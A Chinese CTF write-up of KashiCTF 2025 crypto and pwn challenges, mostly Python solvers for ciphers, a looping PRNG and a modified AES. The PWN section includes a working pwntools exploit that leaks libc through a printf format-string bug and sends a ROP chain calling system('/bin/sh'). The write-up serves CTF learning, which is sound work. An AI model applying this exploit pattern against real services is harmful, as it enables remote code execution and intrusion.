[KashiCTF 2025] Crypto/Pwn
有人问我个题,我也没弄出来。先记下。好些字不认识,不清楚哪国的。提交不了了,但环境还在。有的不清楚对不对。
Crypto
Lost Frequencies
--- .... -. --- -... .. -. .- .-. -.-- -- --- .-. ... .
把提示里01改为.-就是摩斯码:OHNOBINARYMORSE
Key Exchange
给了椭圆曲线方程p,a,b和点G以及公钥P_A=k*G,要求输入点B,用S=k*B 的S.x加密flag,显然这里把G输进去就OK了。S=P_A
MMDLX
从名字上看还以为是罗马字母转数字。提示有罗马是说caeser密码。数据很多有几M,先用caeser解一下3的时候可用base64解,然后一直base64
from base64 import *
def caeser(m,off):
tab1 = 'abcdefghijklmnopqrstuvwxyz'
tab2 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
return ''.join([tab1[(tab1.index(i)+off)%26] if i in tab1 else tab2[(tab2.index(i)+off)%26] if i in tab2 else i for i in m]).encode()
a = open('c3_MMDLX.txt').read()
a = caeser(a,3)
while b'KashiCTF' not in a:
a = b64decode(a)
print(a)
#b'KashiCTF{w31rd_numb3r5_4nd_c1ph3r5}'
Random-Inator
一个PRNG的算法,算法及参数不详,连接后试了20个,发现生成的数据是重复的。20次得到10个数据。然后用这10个数据爆破。key,iv都来自这10个。
'''
#PRNG是个循环,只有10个,爆破key
Doofenshmirtz Evil Incorporated!!!
All right, I don't like to repeat myself here but it just happens
Anyhow, here's the encrypted message: 6be0323ac7b2f98edc19907467950a360f5fb20e6bbec54f67258f2dea1d631c0c2a516414a57f38d68a3a57890531d647c97c9c08260b026c96c339d0254068c75c5c2b82381e855d45b4c59dd20f7013432a52e07fca01e48577e266d29757
Ohh, How I love EVIL
Plaintext >>
674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bc
Plaintext >>
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
......
'''
a = '''674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bc
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
f6a9d2852e5c9c5e249188bd32776866300a621f8aa73c2b5dc6ed18badd1d18
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
6be0323ac7b2f98edc19907467950a3662a9a95a95b21a9dfab96610734dfe0b
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
f6a9d2852e5c9c5e249188bd32776866300a621f8aa73c2b5dc6ed18badd1d18
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
da4f91417cc40c722bea594809044f3de40bbdf49cba172e4f24aa43b6754215
7aba152e75735bc86567d804294acc82f190625d5e42abbfe06e9e472e7ff1e1
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
6be0323ac7b2f98edc19907467950a3662a9a95a95b21a9dfab96610734dfe0b
674d8fb80bce301e336476b1dd4ef695d589ed722b9b6c904f9f93fdc90d56bc
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5d03b39ad3d949e73d297734a9f84b7271d74fbc06ac80902a5b1cde37c2d909
a221a2e491207cf23f755e9cbc052de879ba839ba7f06c63f92ba2da0e036d0d
b375293656a8b9f32b6789eff95003d1f1f5426f210d0f368b53f4e4d073a0cc
5b757cc3fe4d1d51ece7f972421ca89d6782fcb5300997e319e8b4b118d6118f
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa
963483730151eb82840db14f17159c6685da13d2613780a9faa5d6182023fbaa'''
b = [bytes.fromhex(i[:32]) for i in a.split('\r\n')]
b = list(set(b))
ct = bytes.fromhex('6be0323ac7b2f98edc19907467950a360f5fb20e6bbec54f67258f2dea1d631c0c2a516414a57f38d68a3a57890531d647c97c9c08260b026c96c339d0254068c75c5c2b82381e855d45b4c59dd20f7013432a52e07fca01e48577e266d29757')
for key in b:
for iv in b:
cipher = AES.new(key, AES.MODE_CBC, iv)
m = cipher.decrypt(ct)
if b'KashiCTF' in m:
print(m)
#b'lg\x82\xfc_\x94m\x8f\xa4\x8a\xeegS7a\xfbKashiCTF{Y0u_brOK3_mY_R4Nd0m_In4t0r_Curse_yOu_Perry_tH3_Pl4TYpus_uPKZo96c}\x06\x06\x06\x06\x06\x06'
#KashiCTF{Y0u_brOK3_mY_R4Nd0m_In4t0r_Curse_yOu_Perry_tH3_Pl4TYpus_uPKZo96c}
Absolutely Encrypted Shenanigans
一个魔改的AES没有解码算法,CBC格式给出key和密文求iv,这里iv是8位*2而明文头是flag头,所以可以异或得到。关键是写解码函数。
加上解码的AES.py
def xor(b1, b2):
if len(b1)!=len(b2):
raise ValueError("Lengths of byte strings are not equal")
return bytes([b1[i]^b2[i] for i in range(len(b1))])
def bytes2matrix(text):
return [list(text[i:i+4]) for i in range(0, len(text), 4)]
def matrix2bytes(matrix):
s = b""
for l in matrix:
s += bytes(l)
return s
def shift_rows(s):
s[2][2], s[2][1], s[0][3], s[2][0], s[3][3], s[2][3], s[3][1], s[1][3], s[0][2], s[1][0], s[0][1], s[0][0], s[1][1], s[3][0], s[3][2], s[1][2] = s[2][2], s[3][3], s[0][0], s[1][1], s[2][1], s[1][2], s[3][0], s[2][3], s[0][3], s[0][2], s[3][2], s[0][1], s[3][1], s[1][0], s[2][0], s[1][3]
return s
def rev_shift_rows(s):
s[2][2], s[3][3], s[0][0], s[1][1], s[2][1], s[1][2], s[3][0], s[2][3], s[0][3], s[0][2], s[3][2], s[0][1], s[3][1], s[1][0], s[2][0], s[1][3] = s[2][2], s[2][1], s[0][3], s[2][0], s[3][3], s[2][3], s[3][1], s[1][3], s[0][2], s[1][0], s[0][1], s[0][0], s[1][1], s[3][0], s[3][2], s[1][2]
return s
xtime = lambda a: (((a << 1) ^ 0x1B) & 0xFF) if (a & 0x80) else (a << 1)
rev_xtime = lambda a: (((a ^ 0x1B)>>1) | 0x80) if (a & 1) else (a >> 1)
def mix_single_column(a):
t = a[0] ^ a[1] ^ a[2] ^ a[3]
u = a[0]
a[0] ^= t ^ xtime(a[0] ^ a[1])
a[1] ^= t ^ xtime(a[1] ^ a[2])
a[2] ^= t ^ xtime(a[2] ^ a[3])
a[3] ^= t ^ xtime(a[3] ^ u)
return a
def rev_mix_single_column(a):
for b0 in range(256):
for b1 in range(256):
b23 = a[0]^b1^xtime(b0^b1)
b2 = rev_xtime(a[1]^b0^b23)^b1
b3 = b23^b2
if a[2] == b0^b1^b3^xtime(b2^b3) and a[3] == b0^b1^b2^xtime(b3^b0):
return [b0,b1,b2,b3]
def mix_columns(s):
for i in range(4):
s[i] = mix_single_column(s[i])
return s
def rev_mix_columns(s):
for i in range(4):
s[i] = rev_mix_single_column(s[i])
return s
s_box = (
0x63, 0x7C, 0x77, 0x7B, 0xF2, 0x6B, 0x6F, 0xC5, 0x30, 0x01, 0x67, 0x2B, 0xFE, 0xD7, 0xAB, 0x76,
0xCA, 0x82, 0xC9, 0x7D, 0xFA, 0x59, 0x47, 0xF0, 0xAD, 0xD4, 0xA2, 0xAF, 0x9C, 0xA4, 0x72, 0xC0,
0xB7, 0xFD, 0x93, 0x26, 0x36, 0x3F, 0xF7, 0xCC, 0x34, 0xA5, 0xE5, 0xF1, 0x71, 0xD8, 0x31, 0x15,
0x04, 0xC7, 0x23, 0xC3, 0x18, 0x96, 0x05, 0x9A, 0x07, 0x12, 0x80, 0xE2, 0xEB, 0x27, 0xB2, 0x75,
0x09, 0x83, 0x2C, 0x1A, 0x1B, 0x6E, 0x5A, 0xA0, 0x52, 0x3B, 0xD6, 0xB3, 0x29, 0xE3, 0x2F, 0x84,
0x53, 0xD1, 0x00, 0xED, 0x20, 0xFC, 0xB1, 0x5B, 0x6A, 0xCB, 0xBE, 0x39, 0x4A, 0x4C, 0x58, 0xCF,
0xD0, 0xEF, 0xAA, 0xFB, 0x43, 0x4D, 0x33, 0x85, 0x45, 0xF9, 0x02, 0x7F, 0x50, 0x3C, 0x9F, 0xA8,
0x51, 0xA3, 0x40, 0x8F, 0x92, 0x9D, 0x38, 0xF5, 0xBC, 0xB6, 0xDA, 0x21, 0x10, 0xFF, 0xF3, 0xD2,
0xCD, 0x0C, 0x13, 0xEC, 0x5F, 0x97, 0x44, 0x17, 0xC4, 0xA7, 0x7E, 0x3D, 0x64, 0x5D, 0x19, 0x73,
0x60, 0x81, 0x4F, 0xDC, 0x22, 0x2A, 0x90, 0x88, 0x46, 0xEE, 0xB8, 0x14, 0xDE, 0x5E, 0x0B, 0xDB,
0xE0, 0x32, 0x3A, 0x0A, 0x49, 0x06, 0x24, 0x5C, 0xC2, 0xD3, 0xAC, 0x62, 0x91, 0x95, 0xE4, 0x79,
0xE7, 0xC8, 0x37, 0x6D, 0x8D, 0xD5, 0x4E, 0xA9, 0x6C, 0x56, 0xF4, 0xEA, 0x65, 0x7A, 0xAE, 0x08,
0xBA, 0x78, 0x25, 0x2E, 0x1C, 0xA6, 0xB4, 0xC6, 0xE8, 0xDD, 0x74, 0x1F, 0x4B, 0xBD, 0x8B, 0x8A,
0x70, 0x3E, 0xB5, 0x66, 0x48, 0x03, 0xF6, 0x0E, 0x61, 0x35, 0x57, 0xB9, 0x86, 0xC1, 0x1D, 0x9E,
0xE1, 0xF8, 0x98, 0x11, 0x69, 0xD9, 0x8E, 0x94, 0x9B, 0x1E, 0x87, 0xE9, 0xCE, 0x55, 0x28, 0xDF,
0x8C, 0xA1, 0x89, 0x0D, 0xBF, 0xE6, 0x42, 0x68, 0x41, 0x99, 0x2D, 0x0F, 0xB0, 0x54, 0xBB, 0x16,
)
rev_s_box = (
82, 9, 106, 213, 48, 54, 165, 56, 191, 64, 163, 158, 129, 243, 215, 251,
124, 227, 57, 130, 155, 47, 255, 135, 52, 142, 67, 68, 196, 222, 233, 203,
84, 123, 148, 50, 166, 194, 35, 61, 238, 76, 149, 11, 66, 250, 195, 78,
8, 46, 161, 102, 40, 217, 36, 178, 118, 91, 162, 73, 109, 139, 209, 37,
114, 248, 246, 100, 134, 104, 152, 22, 212, 164, 92, 204, 93, 101,182, 146,
108, 112, 72, 80, 253, 237, 185, 218, 94, 21, 70, 87, 167, 141, 157, 132,
144, 216, 171, 0, 140, 188, 211, 10, 247, 228, 88, 5, 184, 179, 69, 6,
208, 44, 30, 143, 202, 63, 15, 2, 193, 175, 189, 3, 1, 19, 138, 107,
58, 145, 17, 65, 79, 103, 220, 234, 151, 242, 207, 206, 240, 180, 230, 115,
150, 172, 116, 34, 231, 173, 53, 133, 226, 249, 55, 232, 28, 117, 223, 110,
71, 241, 26, 113, 29, 41, 197, 137, 111, 183, 98, 14, 170, 24, 190, 27,
252, 86, 62, 75, 198, 210, 121,32, 154, 219, 192, 254, 120, 205,
90, 244, 31, 221, 168, 51, 136, 7, 199, 49, 177, 18, 16, 89, 39, 128,
236, 95, 96, 81, 127, 169, 25, 181, 74, 13, 45, 229, 122, 159, 147, 201,
156, 239, 160, 224, 59, 77, 174, 42, 245, 176, 200, 235, 187, 60, 131, 83,
153, 97, 23, 43, 4, 126, 186, 119, 214, 38, 225, 105, 20, 99, 85, 33, 12, 125)
def add_round_key(s, k):
ns = []
for i in range(4):
ns.append([])
for j in range(4):
ns[i].append(s[i][j]^k[j][i])
return ns
def sub_bytes(s, sbox=s_box):
resmatrix = []
for i in range(4):
resmatrix.append([])
for j in range(4):
hexval=hex(s[i][j])[2:]
if len(hexval)==1:
a,b = 0,int(hexval,16)
else:
a,b = int(hexval[0],16), int(hexval[1],16)
resmatrix[i].append(s_box[a*16+b])
return resmatrix
def rev_sub_bytes(s):
resmatrix = []
for i in range(4):
resmatrix.append([])
for j in range(4):
hexval=hex(s[i][j])[2:]
if len(hexval)==1:
a,b = 0,int(hexval,16)
else:
a,b = int(hexval[0],16), int(hexval[1],16)
resmatrix[i].append(rev_s_box[a*16+b])
return resmatrix
N_ROUNDS = 10
def expand_key(master_key):
r_con = (
0x00, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40,
0x80, 0x1B, 0x36, 0x6C, 0xD8, 0xAB, 0x4D, 0x9A,
0x2F, 0x5E, 0xBC, 0x63, 0xC6, 0x97, 0x35, 0x6A,
0xD4, 0xB3, 0x7D, 0xFA, 0xEF, 0xC5, 0x91, 0x39,
)
key_columns = bytes2matrix(master_key)
iteration_size = len(master_key) // 4
i = 1
while len(key_columns) < (N_ROUNDS + 1) * 4:
word = list(key_columns[-1])
if len(key_columns) % iteration_size == 0:
word.append(word.pop(0))
word = [s_box[b] for b in word]
word[0] ^= r_con[i]
i += 1
elif len(master_key) == 32 and len(key_columns) % iteration_size == 4:
word = [s_box[b] for b in word]
word = bytes(i^j for i, j in zip(word, key_columns[-iteration_size]))
key_columns.append(word)
exkey = [key_columns[4*i : 4*(i+1)] for i in range(len(key_columns) // 4)]
#print(len(exkey))
return exkey
def encrypt_block(key, pt_block):
round_keys = expand_key(key)
state = bytes2matrix(pt_block)
state = add_round_key(state, round_keys[0])
state = sub_bytes(state)
state = shift_rows(state)
for i in range(1,N_ROUNDS):
state = mix_columns(state)
state = add_round_key(state, round_keys[i])
state = sub_bytes(state)
state = shift_rows(state)
state = add_round_key(state, round_keys[N_ROUNDS])
ct_block = matrix2bytes(state)
return ct_block
def decrypt_block(key, pt_block):
#print('blk:', pt_block)
round_keys = expand_key(key)
state = bytes2matrix(pt_block)
state = add_round_key(state, round_keys[N_ROUNDS])
for i in range(N_ROUNDS-1,0,-1):
state = rev_shift_rows(state)
state = rev_sub_bytes(state)
state = add_round_key(state, round_keys[i])
state = rev_mix_columns(state)
state = rev_shift_rows(state)
state = rev_sub_bytes(state)
state = add_round_key(state, round_keys[0])
ct_block = matrix2bytes(state)
return ct_block
def encrypt(key, plaintext, mode="ECB", iv=None):
if len(plaintext)%16 != 0:
raise ValueError("Invalid Plaintext")
elif len(key)!=16:
raise ValueError("Invalid Key")
ciphertext = b""
if mode=="ECB":
for i in range(0, len(plaintext), 16):
ciphertext += encrypt_block(key, plaintext[i: i+16])
elif mode=="CBC":
if (iv==None or len(iv)!=16):
raise ValueError("Invalid IV")
ciphertext += iv
for i in range(0, len(plaintext), 16):
ciphertext += encrypt_block(key, xor(ciphertext[i: i+16], plaintext[i: i+16]))
return ciphertext[16:]
def decrypt(key, plaintext, iv=None):
iv = b'\0'*16
ciphertext = b''
for i in range(0, len(plaintext), 16):
ciphertext += xor(iv,decrypt_block(key, plaintext[i: i+16]))
iv = plaintext[i:i+16]
return ciphertext
def pad(text, blocksize):
padding_len = blocksize - (len(text)%blocksize)
padding = bytes([padding_len])*padding_len
return text+padding
from AES import *
from pwn import remote,context as ctx
import json
ctx.log_level = 'debug'
p = remote('kashictf.iitbhucybersec.in', 50482)
for i in range(10):
ct = json.loads(p.recvline().decode().strip())
m = decrypt(bytes.fromhex(ct['key']), bytes.fromhex(ct['ciphertext']), b'\0'*16)
iv = xor(m[:8], b'KashiCTF')*2
p.sendline(iv.hex().encode())
p.recvline()
ct = json.loads(p.recvline().decode().strip())
m = decrypt(bytes.fromhex(ct['key']), bytes.fromhex(ct['ciphertext']), b'\0'*16)
iv = xor(m[:8], b'KashiCTF')*2
print(xor(iv, m[:16])+ m[16:])
print()
p.interactive()
#KashiCTF{AES_Unbr34KAbl3_but_t0T4lly_br3Akable_mAyb3_1lOfUiUR}
PWN
TheTrollZone
先有个printf漏洞得到libc,再溢出写ROP
from pwn import *
context(arch='amd64', log_level='debug')
libc = ELF('./libc.so.6')
p = remote('kashictf.iitbhucybersec.in', 64932)
p.sendlineafter(b"What do you want? ", b'%17$p ')
p.recvuntil(b"Lmao not giving you ")
libc.address = int(p.recvuntil(b' '), 16) - 0x2724a
pop_rdi = libc.address + 0x00000000000277e5 # pop rdi ; ret
p.sendlineafter(b"Wanna Cry about that? ", b'\0'*0x28+flat(pop_rdi+1, pop_rdi,next(libc.search(b'/bin/sh\0')) ,libc.sym['system']))
p.interactive()
#KashiCTF{did_some_trolling_right_there_OschnziH}
leap_of_faith
看上去简单,本地成远程不成。
地址是固定的,读入一个地址然后跳过去。但输入4011ba远程不管用。而且输出这个地址,显然远程跟附件不大一样。等看别人的WP是怎么回事吧。
能跳的地方不多,而且从整体的题目来看难度不大,也不应该是多复杂的题。